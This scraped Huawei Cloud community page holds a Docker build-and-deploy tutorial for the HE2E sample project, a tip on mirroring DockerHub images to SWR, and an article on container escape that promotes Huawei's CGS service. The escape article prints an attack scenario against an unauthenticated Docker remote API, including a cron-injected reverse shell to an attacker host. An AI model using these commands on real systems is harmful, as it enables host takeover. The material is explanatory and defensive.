5000:80就是将容器所使用的80端口号绑定到主机的5000端口号,这样我们就可以通过主机ip>:5000来访问本项目的用户端界面了。 networks:配置容器连接的网络。这里使用的是最简单的两种声明网络名称。 frontend即前端,backend即后端。 environment:添加环境变量。POSTGRES_HOST_AUTH_METHOD: "trust",此变量防止访问postgres时无法登录。 volumes:将主机的数据卷或着文件挂载到容器里。db-data:/var/lib/postgresql/data下的内容即成为postgres当中的数据内容。 deploy:指定与服务的部署和运行有关的配置。placement:constraints: [node.role == manager]即:权限设置为管理员。 depends_on:设置依赖关系。vote依赖redis、result依赖db。 至此,整个HE2E项目的代码结构已经解构完毕。 # 编译构建 其实在完成代码解构之后,整个项目已经非常清晰了。代码中包括vote、result、worker三个功能模块,项目还用到了redis和postgres两个第三方应用。所以,我们在编译构建环节的主要目的就是把这些服务的镜像制作出来并上传到SWR容器镜像仓库中。 本项目中预置了5个构建任务。  我们仅分析phoenix-sample-ci任务即可。  # 三个功能模块的构建 在进行代码解构时,对构建任务的部分内容已经进行过分析了,其中就包括如何通过指定Dockerfile文件制作镜像,即docker build(制作)的操作。除此之外,制作XX镜像并推送到SWR的步骤中还包括了推送镜像所需的信息。这里设置了推送区域、组织、镜像名字、镜像标签,其实就是我们进行docker tag(打标签)和docker push(推送)的操作。 在vote、result、worker的镜像制作并推送的过程中,通过参数BUILDNUMBER定义镜像的版本号。BUILDNUMBER是系统预定义参数,随着构建日期及次数变化。 worker镜像在制作之前,需要先对worker目录下的工程进行Maven构建,这样就会生成Dockerfile.j2中(制作镜像时)所需的target文件。 # Postgres和Redis的构建 在制作了三个功能模块镜像以后,接下来要做的是生成Postgres和Redis 镜像。这里选择的办法是,通过shell命令写出这两个应用的Dockerfile。 echo from postgres:9.4 > Dockerfile-postgres echo from redis:alpine > Dockerfile-redis 通过这段shell命令就会在当前的工作目录下生成Dockerfile-postgres和Dockerfile-redis两个文件。 Dockerfile-postgres: FROM postgres:9.4 Dockerfile-redis: FROM redis:alpine 在接下来的步骤当中,指定当前目录下的Dockerfile-postgres和Dockerfile-redis两个文件制作镜像并上传。  # 替换部署配置文件并打包 通过以上的步骤,镜像就已完全上传至SWR仓库了。后续的“替换Docker-Compose部署文件镜像版本”和“替换Kubernates部署文件镜像版本”两个步骤分别将代码仓根目录下的docker-compose-standalone.yml和kompose下的所有XX-deployment.yaml文件中的docker-server、docker-org、image-version替换为构建任务中的参数dockerServer、dockerOrg、BUILDNUMBER。这两步骤的意义就是将ECS部署(docker-compose/docker-compose-standalone.yml)和CCE部署(Kubernates/Kompose)所需的配置文件修改为可部署、可应用的版本。  这两个文件修改完毕后,都进行tar打包的操作。打包后的产物也通过接下来的两个“上传XX”步骤上传软件包到了软件发布库。 # Tips 在本项目的帮助文档中,提到了“配置基础依赖镜像”。整个这一段落是由于构建任务中使用的基础镜像源DockerHub拉取受限,采取了一个折中的办法拉取镜像。简言之,整段操作即通过创建prebuild任务来实现基础镜像版本的替换,以避免开发者在进行构建phoenix-sample-ci任务时出现拉取镜像失败的情形。相应地,也在“配置并执行编译构建任务”中禁用了Postgres和Redis镜像的制作步骤。 # 部署 在编译构建环节,我们已经成功将三个功能模块镜像(vote、result、worker)和两个第三方镜像构建并上传至SWR(容器镜像仓库)中了。接下来需要做的就是将SWR中的镜像拉取到我们的部署主机并启动。 在整个实践中,提供了ECS部署和CCE部署两种方式,并且在项目中预置了3个部署任务。  我们仅分析phoenix-sample- standalone任务即可。  # 传输软件包至部署主机中 在构建环节,我们除了制成镜像并上传到SWR以外,还对配置文件进行了修改、压缩并上传到了软件发布库。在部署过程中,我们首先要做的,就是把配置文件从软件发布库中传到部署主机当中。 结合实际的部署任务来看,就是:向[主机组] group-bhd部署一个[软件包/构建任务(的产物)],我们选择了[构建任务] phoenix-sample-ci的最新版本([构建版本][Latest])构建产物,将其[下载到主机的部署目录]。  这一步骤执行完毕后,在部署主机的/root/phoenix-sample-standalone-deploy路径下,就会存在之前构建任务中压缩的docker-stack.tar.gz和phoenix-sample-k8s.tar.gz。ECS部署中,我们仅需要解压docker-stack.tar.gz,这个文件是docker-compose-standalone.yml的压缩包(回顾一下构建任务中的“替换部署配置文件并打包”)。  # 通过执行shell命令启动docker-compose 解压完成后,我们就可以通过执行docker-compose启动命令来启动项目了。  在这一步骤当中,前三行分别输出了三个参数docker-username、docker-password、docker-server。这三个参数是用以进行docker login操作的。因为我们在docker-compose-standalone.yml中涉及到拉取镜像的操作,需要在拉取镜像前先登录SWR镜像仓库。 登录完毕后,就可以进入/root/phoenix-sample-standalone-deploy目录下(cd /root/phoenix-sample-standalone-deploy) 启动docker-compose(docker-compose -f docker-compose-standalone.yml up -d)。 至此,项目已经部署至主机当中,在主机中,通过docker ps -a指令可以看到5个容器进程。  与此同时,访问http://{ip}:5000和http://{ip}:5001即可访问项目的用户端与管理端。   # 结语 本文从容器技术应用的角度解构了HE2E项目的代码仓库配置、镜像构建、及docker-compose的部署方式。希望通过本篇文章分享可以使更多的开发者了解容器技术和华为云。
-
小伙伴们在构建的时候,直接拉取国外dockerhub基础镜像时,经常会报错拉取超时或失败~比如这样:Error response from daemon: Get https://registry.docker-cn.com/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)又比如这样:toomanyrequests: You have reached your pull rate limit. You may increase the limit by authenticating and upgrading: https://www.docker.com/increase-rate-limit其根本原因是国外dockerhub网络不稳定并且存在频率限制,容易导致拉取超时或失败。可以将dockerhub的镜像迁移到SWR上,再拉取镜像。下文是实战样例:(1).首先,我们的代码仓库中dockerfile文件直接引用了dockerhub中的基础镜像,这样构建的时候就很容易出现上文中提到的报错现象~(2).这时,我们可以自己在本地电脑上从dockerhub中,或华为云开源镜像站中,或各种各样的第三方源站上,页面下载构建时需要用到的这个基础镜像~ 然后把他上传到我们的华为云容器镜像服务(SWR)中。就像这样:(3).等待上传完成后~ OK!这个dockerhub里的基础镜像,已经是我们的了~ 这是它的专属地址:(4).我们把上图中的地址,复制粘贴替换掉代码仓库中dockerfile里原本的非常不好用的dockerhub镜像,然后执行构建任务即可~(5).构建成功!走的是我们华为自己的线路,又快又稳定,速度杠杠的~
Judy小姐姐哈哈哈
发表于2022-04-12 15:42:26
2022-04-12 15:42:26
最后回复
yd_271676368
2024-02-22 14:57:44
159646 7 -
>摘要:云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。本文分享自华为云社区《[云原生2.0时代:企业更应了解一下容器安全](https://huaweicloud.blog.csdn.net/article/details/114066177)》,原文作者:华为助力企业上云。 随着云原生技术的成熟和市场需求的升级,云计算的发展已步入新的阶段,云原生2.0时代已经到来。从技术角度看,以容器、微服务以及动态编排为代表的云原生技术蓬勃发展,成为赋能业务创新的重要推动力,并已经应用到企业核心业务。从市场角度看,云原生技术已在金融、制造、互联网等多个行业得到广泛验证,支持的业务场景也愈加丰富,行业生态日渐繁荣。云原生2.0是企业智能升级的新阶段,企业云化从“ON Cloud”走向“IN Cloud”,新生能力与既有能力有机协同、立而不破,实现资源高效、应用敏捷、业务智能、安全可信,成为“新云原生企业”。 云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。 传统的虚拟机能够基于虚拟化技术更加有效的利用硬件计算资源,可以实现云租户的隔离与资源共享。相比虚拟机来说,容器更轻、更快,但是作为一种新技术,容器的安全防护也与虚拟机所有不同。 # 容器 VS 虚拟机 容器与虚拟机具有相似的资源隔离和分配价值,但容器的作用不同,因为容器是虚拟化操作系统而不是硬件。容器更便携,更高效。  容器VS虚拟机 虚拟机(VM)是对物理硬件的抽象,将一台服务器转化为多台服务器。Hypervisor允许在一台机器上运行多个虚拟机。每个虚拟机都包含操作系统、应用程序、必要的二进制文件和库的完整副本,占用数十GB的空间。虚拟机启动速度也比较慢。 容器是应用程序层的一个抽象,将代码和依赖打包在一起。多个容器可以运行在同一台机器上,与其他容器共享操作系统内核,每个容器在用户空间中作为隔离的进程运行。容器比虚拟机占用更少的空间(容器镜像通常只有几十MB大小),可以处理更多的应用程序。 # 容器逃逸  容器逃逸,是容器技术启用以来一直被关注的问题,甚至被认为是容器的首要安全问题。所谓“逃逸”,指的是“流氓”容器/虚拟机尝试突破隔离环境的限制,访问宿主系统或者在同一个系统上的同驻容器或虚拟机。从而造成敏感信息泄露,或者系统及服务发生DOS的行为。  但正是由于容器与宿主系统共享内核,因此容器与宿主机有着更大的接触面,隔离层次更少,更容易从容器内实施逃逸攻击。因此,如何解决容器逃逸安全风险,避免容器逃逸攻击带来的损失是容器安全中最为重要的一个问题。 # 容器逃逸常用手段 ## (1)通过容器自身漏洞及内核漏洞逃逸  攻击的主要途径之一就是利用漏洞,通过程序设计或实现的缺陷来执行非法操作,容器逃逸也不例外。容器自身漏洞是其利用进行逃逸的路径之一,同时由于容器共享宿主系统内核,因此内核漏洞是其逃逸的另一路径,同时由于内核漏洞的数量远远大于容器自身漏洞,因此内核漏洞甚至成为容器逃逸更为主要的一个手段。 **1)利用容器漏洞逃逸 – shocker攻击** Shocker攻击是容器逃逸最著名的案例,其本质是利用了一个不常用的系统调用open_by_handle_at,同时借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力,并将容器启动时会挂载宿主机文件到容器内(如旧版本的/.dockerinit,新版本的/etc/hosts)作为起点,执行暴力破解攻击,最终获取到要访问的宿主系统文件的句柄信息并进行读取,从而实现逃逸。 Github地址:https://github.com/gabrtv/shocker 容器执行shocker攻击逃逸访问宿主系统/etc/shadow文件:  2)内核漏洞利用逃逸 – dirtycow攻击  DirtyCow(脏牛漏洞,CVE-2016-5195)是Linux内核中的一个权限提升漏洞,其也可被容器利用实施逃逸。容器利用dirtycow漏洞改写虚拟动态共享库VDSO(Virtual Dynamically Shared Objec),并将shellcode置入其中,当主机系统进程调用并执行修改后的内容时,就会借用此进程身份执行置入的shellcode,并最终在容器内获得一个来自主机的root权限的shell。  ## (2)不安全配置引发逃逸 **1)不安全启动,如privileged特权容器** 容器以--privileged参数启动时称为特权容器,特权容器顾名思义具有较高权限,包括对宿主机上的设备的访问权限。因此,攻击者可以直接在容器内mount主机设备并进行文件访问,从而轻而易举实现逃逸。   **2)不安全挂载,如挂载docker.sock到容器**  图片来源:https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fd Docker.sock文件是一个Unix domain socket文件,是Docker daemon默认监听的套接字文件,docker client通过它与docker daemon进行通信。docker client将信息查询和下发命令等请求通过docker.sock发给docker daemon,然后由deamon执行具体请求,包括镜像查询、容器创建等。 将docker.sock挂载到容器内,可以在容器内继续运行一个容器,实现docker in docker,并可在容器内容器启动时通过-v参数将宿主机根目录挂载到容器内,从而在容器内访问宿主机文件,实现逃逸。  **3)Docker remote api未授权访问** 默认情况下,docker daemon只允许通过unix domain socket – docker.sock进行本地通信操作,但除此之外,docker daemon也提供了Restful API供远端client访问(daemon通过-H参数指定监听端口),如果未对访问进行权限控制及合规性检查,则攻击者也可以访问这个API执行高危操作,并实施逃逸攻击。 例如一种攻击场景: - 通过Remote API创建一个容器,并将宿主系统根目录挂载到容器内: `# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash` 其中:$IP表示docker daemon服务ip,$PORT表示Remote API监听端口 - 将反弹shell命令写入计划任务文件 `# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root` 其中:$IP表示攻击端IP,$PROT表示攻击端监听端口 - 攻击端监听上一步中的$PORT端口,获取来自对端(docker服务所在系统)的具有root权限得反弹shell,并任意访问。 # 华为云容器安全服务CGS之逃逸安全防护方案  # 华为云容器安全服务CGS 华为云容器安全服务CGS构建了容器安全威胁纵深防御体系,提供包括镜像扫描、威胁检测与威胁防护的一整套容器安全能力,提供针对容器的Build、Ship、Run全生命周期保护能力,渗透到整个容器DevOps流程,保证容器虚拟环境从开发到生产整个流程的安全。其中,容器逃逸检测是CGS的核心功能之一,它通过如下手段构建系统化的容器逃逸全面防护能力: ## (1)监控容器不安全配置启动 前文中提到,不安全配置是容器逃逸的一个重要原因。因此,监控容器的不安全启动也是容器逃逸防护的一个重要手段。CGS可以针对容器启动的各种不安全配置进行监控,包括启动特权容器、挂载宿主机文件、安全策略关闭、特权端口映射等,从容器创建伊始就检测逃逸风险,实现整体防护方案第一步。 ## (2)容器行为深度分析 容器启动后,CGS可对容器运行过程中的行为进行实时跟踪和观察,监控容器内的进程运行、文件访问、网络连接、系统调用等行为,并对行为进行深度分析,从行为过程体现出来的特征到行为所产生的结果进行全面分析检测,有效发现容器已知和未知漏洞利用逃逸攻击行为并进行告警。  ## (3)容器基线机器学习 一般而言,容器的行为通常固定且纯粹,比如一个提供web服务的容器内可能只会运行一个nginx进程,一个提供DB服务的容器内可能只会运行一个mysql进程,并且进程所执行的操作,包括文件访问、系统调用、网络连接等行为都有固定合理范围,因此可以对容器圈定正常行为范围,构建行为基线。CGS利用机器学习技术,从静态和动态两个维度分析容器正常行为并建立基线,使得基线模型更准确、更完整,然后根据基线跟踪容器行为,感知基线以外的异常行为,实现对攻击行为的全面感知,并有效提升对于容器利用0day漏洞进行逃逸攻击的检测能力。  华为云CGS容器逃逸方案防护机制内置在防护平台,无需用户参与即可实现容器逃逸系统化检测,具有良好的易用性,同时方案采用事件驱动机制实现性能高、反应快,为容器安全保驾护航。
推荐直播
-
HDC深度解读系列 - Serverless与MCP融合创新,构建AI应用全新智能中枢2025/08/20 周三 16:30-18:00
张昆鹏 HCDG北京核心组代表
HDC2025期间,华为云展示了Serverless与MCP融合创新的解决方案,本期访谈直播,由华为云开发者专家(HCDE)兼华为云开发者社区组织HCDG北京核心组代表张鹏先生主持,华为云PaaS服务产品部 Serverless总监Ewen为大家深度解读华为云Serverless与MCP如何融合构建AI应用全新智能中枢
回顾中 -
关于RISC-V生态发展的思考2025/09/02 周二 17:00-18:00
中国科学院计算技术研究所副所长包云岗教授
中科院包云岗老师将在本次直播中,探讨处理器生态的关键要素及其联系,分享过去几年推动RISC-V生态建设实践过程中的经验与教训。
回顾中 -
一键搞定华为云万级资源,3步轻松管理企业成本2025/09/09 周二 15:00-16:00
阿言 华为云交易产品经理
本直播重点介绍如何一键续费万级资源,3步轻松管理成本,帮助提升日常管理效率!
回顾中
热门标签